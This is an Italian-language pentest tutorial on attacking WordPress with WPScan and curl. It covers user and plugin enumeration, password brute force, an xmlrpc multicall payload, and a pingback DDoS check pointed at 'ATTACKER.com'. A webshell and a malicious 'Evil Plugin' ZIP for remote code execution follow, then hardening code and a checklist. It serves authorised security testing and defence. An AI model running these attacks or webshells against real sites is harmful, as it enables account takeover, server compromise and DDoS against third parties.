tools

WPScan: Pentest WordPress, Enumeration e Vulnerabilità

WPScan: Pentest WordPress, Enumeration e Vulnerabilità

Guida pratica a WPScan per il pentest WordPress: installazione, scansione, enumeration di plugin, temi e utenti, vulnerabilità, API token e brute force.

  • Pubblicato il 2026-08-08
  • Tempo di lettura: 8 min

WPScan: guida completa al pentest WordPress, dall’enumerazione alle vulnerabilità #

WordPress alimenta oltre il 43% di tutti i siti web su internet. È il CMS più usato al mondo — ed è il più attaccato. Il core di WordPress è generalmente ben mantenuto e patchato rapidamente, ma l’ecosistema di 60.000+ plugin e migliaia di temi crea una superficie d’attacco enorme. La maggior parte dei compromessi WordPress non viene dal core ma da plugin vulnerabili, credenziali deboli e misconfigurazioni.

WPScan è il vulnerability scanner specifico per WordPress: identifica la versione del CMS, enumera plugin e temi installati, trova utenti, testa credenziali e confronta tutto con il database di vulnerabilità WPVulnDB. È scritto in Ruby, preinstallato su Kali Linux, e ha un’API gratuita per 25 request/giorno — sufficienti per la maggior parte dei siti.


Installazione e Setup API Token #

bash
# Su Kali/Parrot — già installato
wpscan --update   # aggiorna sempre prima di usarlo

# Su altri sistemi
gem install wpscan

# Docker (nessuna installazione richiesta)
docker pull wpscanteam/wpscan

# API Token — necessario per i dati di vulnerabilità
# 1. Registrati su wpscan.com (gratuito, 25 req/giorno)
# 2. Vai su Profile → API Token → copia il token

# Salva il token nella configurazione (non doverlo scrivere ogni volta)
mkdir -p ~/.wpscan
cat > ~/.wpscan/scan.yml << 'EOF'
cli_options:
  api_token: IL_TUO_TOKEN_QUI
EOF

# Senza API token WPScan funziona comunque,
# ma non mostra i dati di vulnerabilità — solo versioni

Scan Base: Primo Approccio al Target #

bash
# Scan base — identifica versione WP, temi, plugin attivi
wpscan --url https://target.com

# Con API token (aggiunge dati CVE a ogni componente trovato)
wpscan --url https://target.com --api-token TOKEN

# Output su file per documentazione
wpscan --url https://target.com --api-token TOKEN -o report.txt
wpscan --url https://target.com --api-token TOKEN -o report.json --format json

# WordPress in subdirectory
wpscan --url https://target.com/blog/

# Ignora certificati SSL self-signed
wpscan --url https://target.com --disable-tls-checks

Il primo scan ti dà subito:

  • Versione WordPress (aggiornata o vulnerabile?)
  • Tema attivo e versione
  • Plugin rilevati passivamente nel source HTML
  • File interessanti esposti (readme.html, license.txt, wp-cron.php)
  • Utenti rilevati automaticamente

Enumeration: Plugin, Temi, Utenti, Backup #

L’enumeration richiede il flag -e. Senza di esso WPScan fa solo il rilevamento passivo.

Plugin #

bash
# Plugin rilevati passivamente (solo da HTML/JS della pagina)
wpscan --url https://target.com -e p

# Tutti i plugin con detection aggressiva (prova path noti per ogni plugin)
wpscan --url https://target.com -e ap --plugins-detection aggressive

# Solo plugin vulnerabili (richiede API token)
wpscan --url https://target.com -e vp --api-token TOKEN

# Versione dei plugin con detection aggressiva
wpscan --url https://target.com -e ap \
  --plugins-version-detection aggressive \
  --api-token TOKEN

# La detection aggressiva manda molte request — usa con cautela
# passive = solo da HTML (stealth, trova meno)
# mixed   = ibrido (default)
# aggressive = proba tutti i path noti del plugin

Temi #

bash
# Tema attivo + temi installati
wpscan --url https://target.com -e t

# Solo temi vulnerabili
wpscan --url https://target.com -e vt --api-token TOKEN

# Tutti i temi con detection aggressiva
wpscan --url https://target.com -e at --themes-detection aggressive

File Sensibili e Backup #

bash
# Backup di wp-config.php e file sensibili
wpscan --url https://target.com -e cb

# Timthumb (vulnerabilità storica nei temi WordPress per resize immagini)
wpscan --url https://target.com -e tt

# Tutto insieme: plugin vuln + temi vuln + utenti + backup + timthumb
wpscan --url https://target.com \
  -e vp,vt,u,cb,tt \
  --api-token TOKEN \
  --plugins-detection aggressive

User Enumeration #

WPScan usa quattro tecniche per trovare gli username WordPress:

Tecnica 1 — Author Archive (permalink):

bash
# WordPress espone il nome utente nell'URL degli articoli per autore
curl -sI "https://target.com/?author=1" | grep Location
# Location: https://target.com/author/admin/ → username: admin

curl -sI "https://target.com/?author=2" | grep Location
# Location: https://target.com/author/mario/ → username: mario

# WPScan lo fa in automatico:
wpscan --url https://target.com -e u

# Per numerare più ID:
wpscan --url https://target.com -e u1-50
# Prova author ID da 1 a 50

Tecnica 2 — WordPress REST API:

bash
# La REST API espone username e display name di default
curl -s "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool
# [{"id":1,"name":"Admin","slug":"admin",...}]
# "slug" = username usato per il login

# Alternativa (alcuni siti disabilitano /users ma non questo endpoint):
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100"

Tecnica 3 — Login Error Message:

bash
# WordPress risponde in modo diverso se l'username esiste
curl -s -X POST "https://target.com/wp-login.php" \
  -d "log=admin&pwd=wrongpassword&wp-submit=Log+In"
# "The password you entered for the username admin is incorrect"
# → username "admin" esiste

curl -s -X POST "https://target.com/wp-login.php" \
  -d "log=nonexistent&pwd=wrongpassword&wp-submit=Log+In"
# "Invalid username"
# → username "nonexistent" non esiste → user enumeration via errori

Tecnica 4 — RSS Feed:

bash
curl -s "https://target.com/feed/" | grep "<dc:creator>"
# <dc:creator><![CDATA[admin]]></dc:creator>
# → username "admin" esposto nel feed RSS

Brute Force Credenziali #

Una volta trovati gli username, puoi testare le password.

Brute Force con WPScan #

bash
# Brute force su wp-login.php con wordlist
wpscan --url https://target.com \
  -U admin \
  -P /usr/share/wordlists/rockyou.txt

# Con più username (file con uno per riga)
wpscan --url https://target.com \
  -U users.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt

# Thread multipli (più veloce ma più rumoroso)
wpscan --url https://target.com \
  -U admin \
  -P rockyou.txt \
  -t 10

# Wordlist WordPress-specific (password comuni su WP)
wpscan --url https://target.com \
  -U admin \
  -P /usr/share/seclists/Passwords/darkweb2017-top100.txt

xmlrpc.php — Brute Force Amplificato #

xmlrpc.php è il vettore di brute force più potente su WordPress. Il metodo system.multicall permette di inviare centinaia di tentativi in una singola request HTTP — invisibile ai plugin di sicurezza che monitorano i tentativi su /wp-login.php.

Come funziona: invece di mandare una request per ogni password, ne mandi una sola con 500 chiamate wp.getUsersBlogs ognuna con credenziali diverse. Il server le elabora tutte → 500 tentativi, 1 request.

bash
# Step 1: verifica che xmlrpc.php sia attivo
curl -s "https://target.com/xmlrpc.php"
# Risposta: "XML-RPC server accepts POST requests only." → attivo

# Step 2: elenca i metodi disponibili
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'
# Cerca: wp.getUsersBlogs, system.multicall

# Step 3: brute force amplificato manuale (payload system.multicall)
cat > xmlrpc_payload.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
  <methodName>system.multicall</methodName>
  <params><param><value><array><data>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><array><data>
          <value><string>admin</string></value>
          <value><string>password1</string></value>
        </data></array></value>
      </data></array></value></member>
    </struct></value>
    <value><struct>
      <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
      <member><name>params</name><value><array><data>
        <value><array><data>
          <value><string>admin</string></value>
          <value><string>password2</string></value>
        </data></array></value>
      </data></array></value></member>
    </struct></value>
  </data></array></value></param></params>
</methodCall>
EOF
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d @xmlrpc_payload.xml

# Risposta corretta: "isAdmin" o lista blog → credenziali trovate
# Risposta errata: "Incorrect username or password"

# WPScan gestisce questo automaticamente
wpscan --url https://target.com \
  -U admin \
  -P rockyou.txt \
  --password-attack xmlrpc-multicall

# Nota: da WordPress 4.4 il multicall è limitato
# (fallisce dopo il primo errore di autenticazione)
# Ma ancora sfruttabile su siti non aggiornati

xmlrpc.php — Pingback DDoS #

Oltre al brute force, xmlrpc.php può essere usato per DDoS amplificato. Il metodo pingback.ping fa sì che il server WordPress contatti un URL esterno — un attaccante può usare migliaia di siti WordPress vulnerabili per amplificare traffico verso un target.

bash
# Verifica se pingback è abilitato
curl -s -X POST "https://target.com/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://ATTACKER.com/</string></value></param><param><value><string>https://target.com/any-post/</string></value></param></params></methodCall>'
# Se risponde con un faultCode diverso da "not a valid target" 
# → pingback attivo → DDoS amplification possibile

WP REST API: Ricognizione Senza Tool #

La REST API di WordPress espone informazioni utili anche senza autenticazione:

bash
# Utenti — slug = username per il login
curl -s "https://target.com/wp-json/wp/v2/users" | python3 -m json.tool

# Post e pagine — possono rivelare path, autori, metadati
curl -s "https://target.com/wp-json/wp/v2/posts?per_page=100"

# Categorie e tag — rivelano la struttura del sito
curl -s "https://target.com/wp-json/wp/v2/categories"

# Endpoint disponibili (scopri tutti gli endpoint REST)
curl -s "https://target.com/wp-json/" | python3 -m json.tool | grep namespace

# Plugin che aggiungono endpoint REST vulnerabili
# Cerca /wp-json/PLUGIN_NAME/ o /wp-json/wc/ (WooCommerce)
curl -s "https://target.com/wp-json/wc/v3/products" 
# WooCommerce senza auth → espone dati prodotti e a volte ordini

File Sensibili Esposti: Ricognizione Manuale #

bash
# readme.html — rivela versione WordPress esatta
curl -s "https://target.com/readme.html" | grep -i "version"

# wp-config.php backup (creati da alcuni plugin o editor)
curl -I "https://target.com/wp-config.php.bak"
curl -I "https://target.com/wp-config.php~"
curl -I "https://target.com/wp-config.php.old"
curl -I "https://target.com/.wp-config.php.swp"  # vim swap file

# Debug log esposto
curl -I "https://target.com/wp-content/debug.log"

# Upload directory listing
curl -s "https://target.com/wp-content/uploads/"
# Se risponde con directory listing → espone tutti i file caricati

# wp-cron.php — può essere abusato per DoS (richieste ripetute)
curl "https://target.com/wp-cron.php"
# Risponde 200 → esposto pubblicamente

# Accesso diretto a wp-admin senza redirect
curl -sI "https://target.com/wp-admin/"
# Redirect a wp-login.php = normale
# 200 con contenuto = misconfiguration

Vulnerabilità Plugin: Da CVE a Shell #

La maggior parte dei compromise WordPress avviene tramite plugin. Una volta identificata la versione di un plugin vulnerabile, l’exploitation segue il CVE specifico.

bash
# Step 1: trova plugin e versioni
wpscan --url https://target.com \
  -e ap \
  --plugins-version-detection aggressive \
  --api-token TOKEN

# Step 2: cerca exploit per il plugin trovato
searchsploit "wordpress plugin-name"
searchsploit "elementor 3.6"  # esempio

# Step 3: usa nuclei per rilevamento automatico CVE WordPress
nuclei -u https://target.com -tags wordpress,cve -severity critical,high

# Vulnerabilità plugin più comuni per tipo:
# SQLI: molti plugin costruiscono query con input non sanitizzati
# File Upload non autenticato: plugin di contatto/gallery con upload
# LFI: plugin che includono file da parametri GET
# XSS: plugin che riflettono input nelle pagine
# CSRF: azioni admin senza nonce verification

Da Admin Panel a RCE #

Se ottieni accesso admin, la RCE è immediata:

bash
# Metodo 1: Theme Editor (Appearance → Theme Editor)
# Modifica functions.php del tema attivo:
# <?php system($_GET['cmd']); ?>
# Accedi: https://target.com/?cmd=id

# Metodo 2: Plugin Editor (Plugin → Plugin Editor)
# Modifica un file PHP di un plugin attivo con la webshell

# Metodo 3: Upload plugin malevolo
# Crea un plugin ZIP con una webshell:
mkdir evil-plugin
cat > evil-plugin/evil-plugin.php << 'EOF'
<?php
/*
Plugin Name: Evil Plugin
*/
system($_GET['cmd']);
EOF
zip -r evil-plugin.zip evil-plugin/
# Carica via Plugin → Add New → Upload Plugin
# Accedi: https://target.com/wp-content/plugins/evil-plugin/evil-plugin.php?cmd=id

# Metodo 4: Metasploit (automatizza tutto)
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD password
run

Per la gestione della shell ottenuta: rce, web-shell.


Scan Completo: Comando Unico #

bash
# Scan completo per un pentest WordPress
wpscan \
  --url https://target.com \
  --api-token TOKEN \
  -e vp,vt,u1-20,cb,tt \
  --plugins-detection aggressive \
  --plugins-version-detection aggressive \
  --themes-detection aggressive \
  -o wpscan_full.json \
  --format json \
  -t 5

# Poi cerca utenti con REST API (spesso trova di più)
curl -s "https://target.com/wp-json/wp/v2/users?per_page=100" | \
  python3 -c "import sys,json; [print(u['slug']) for u in json.load(sys.stdin)]" \
  > users_found.txt

# Brute force con gli utenti trovati
wpscan --url https://target.com \
  -U users_found.txt \
  -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt \
  --password-attack xmlrpc \
  -t 10

Hardening: Come Difendersi #

php
// functions.php — disabilita xmlrpc.php completamente
add_filter('xmlrpc_enabled', '__return_false');

// Oppure solo system.multicall
add_filter('xmlrpc_methods', function($methods) {
    unset($methods['system.multicall']);
    unset($methods['pingback.ping']);
    return $methods;
});

// Disabilita REST API per utenti non autenticati
add_filter('rest_authentication_errors', function($result) {
    if (!is_user_logged_in()) {
        return new WP_Error('rest_not_logged_in', 'Autenticazione richiesta.', ['status' => 401]);
    }
    return $result;
});

// Rimuovi versione WordPress dagli header e feed
remove_action('wp_head', 'wp_generator');
add_filter('the_generator', '__return_empty_string');
nginx
# Nginx: blocca accesso a xmlrpc.php
location = /xmlrpc.php {
    deny all;
    return 403;
}

# Blocca accesso a file sensibili
location ~* (readme\.html|license\.txt|wp-config\.php\.bak) {
    deny all;
}

# Blocca directory listing in wp-content/uploads
location /wp-content/uploads {
    location ~ \.php$ { deny all; }
}

Per la configurazione degli header di sicurezza su WordPress: security-headers.


Checklist #

text
RICOGNIZIONE
☐ wpscan --url target.com → versione WordPress?
☐ readme.html accessibile? (rivela versione esatta)
☐ wp-config.php backup esposti? (.bak, .old, ~, .swp)
☐ debug.log esposto in wp-content/
☐ Directory listing in /wp-content/uploads/?

ENUMERATION
☐ Plugin: wpscan -e ap --plugins-detection aggressive
☐ Temi: wpscan -e at --themes-detection aggressive
☐ Vulnerabilità plugin/temi con API token: wpscan -e vp,vt
☐ Utenti: wpscan -e u1-20 + curl /wp-json/wp/v2/users
☐ User enumeration via /?author=1, /?author=2...
☐ REST API: /wp-json/wp/v2/ → endpoint esposti?

CREDENZIALI
☐ xmlrpc.php attivo? curl xmlrpc.php → risponde?
☐ system.multicall disponibile? → brute force amplificato
☐ pingback.ping attivo? → DDoS amplification possibile
☐ wp-login.php: errori distinti per username valido/non valido?
☐ Brute force: wpscan -U users.txt -P wordlist.txt

PLUGIN E CVE
☐ Versioni plugin identificate → searchsploit + nuclei
☐ Plugin con file upload: testato upload webshell?
☐ Plugin con SQLi: testato injection nei parametri?
☐ nuclei -tags wordpress,cve eseguito

POST-EXPLOITATION (se admin)
☐ Theme/Plugin Editor accessibile?
☐ Webshell via upload plugin ZIP?
☐ Metasploit wp_admin_shell_upload?

DOCUMENTAZIONE
☐ Screenshot wpscan output con vulnerabilità trovate
☐ Screenshot user enumeration (REST API o author archive)
☐ Screenshot brute force riuscito (credenziali trovate)
☐ Screenshot accesso admin panel
☐ Screenshot RCE (se escalato)

FAQ #

Serve sempre l’API token per usare WPScan? No. Senza token WPScan funziona e trova versioni di plugin, temi e utenti. Ma non mostra i CVE associati alle versioni trovate — solo “Plugin X versione 2.3.1 installato” senza sapere se quella versione è vulnerabile. Con il token gratuito (25 req/giorno) ottieni anche i dati di vulnerabilità. Per scan frequenti serve un piano a pagamento.

La detection aggressiva è necessaria? La detection passiva legge solo il source HTML della pagina — trova i plugin e temi citati esplicitamente. La detection aggressiva prova path noti per ogni plugin (/wp-content/plugins/nome-plugin/readme.txt) — trova molto di più ma genera centinaia di request. In un pentest autorizzato: usa aggressiva. In un bug bounty: verifica le regole del programma.

WordPress ha aggiornato la protezione su system.multicall? Sì, da WordPress 4.4 il multicall fallisce dopo il primo errore di autenticazione. Ma: (1) molti siti sono ancora su versioni precedenti, (2) WPScan usa anche xmlrpc.getUsersBlogs direttamente che non è limitato allo stesso modo, (3) anche senza multicall xmlrpc.php rimane un vettore valido su wp-login.php non protetto.

Ho trovato un plugin vulnerabile ma non c’è un exploit pubblico. Cosa faccio? Leggi il changelog del plugin su wordpress.org — spesso descrive cosa è stato fixato (“Fixed: SQL injection in parameter X”). Cerca nel codice il parametro menzionato e testalo manualmente. Il CVE potrebbe non avere ancora un exploit pubblico ma la vulnerabilità è reale e testabile.

Da admin WordPress come arrivo a root del server? Admin → RCE (theme editor o plugin upload) → shell come www-data → privilege escalation (sudo -l, SUID, kernel exploit, credenziali in wp-config.php riusate su SSH). Il path dipende dalla configurazione del server. Parti sempre da linux-privesc dopo aver ottenuto la shell.


Risorse #


Il 43% del web gira su WordPress. Un plugin vulnerabile dimenticato e il server è tuo. Penetration test HackIta. Formazione 1:1.

#wordpress pentest #wordpress enumeration #vulnerability scanning #xml-rpc #wordpress security

lascia un messaggio

Non sono un robot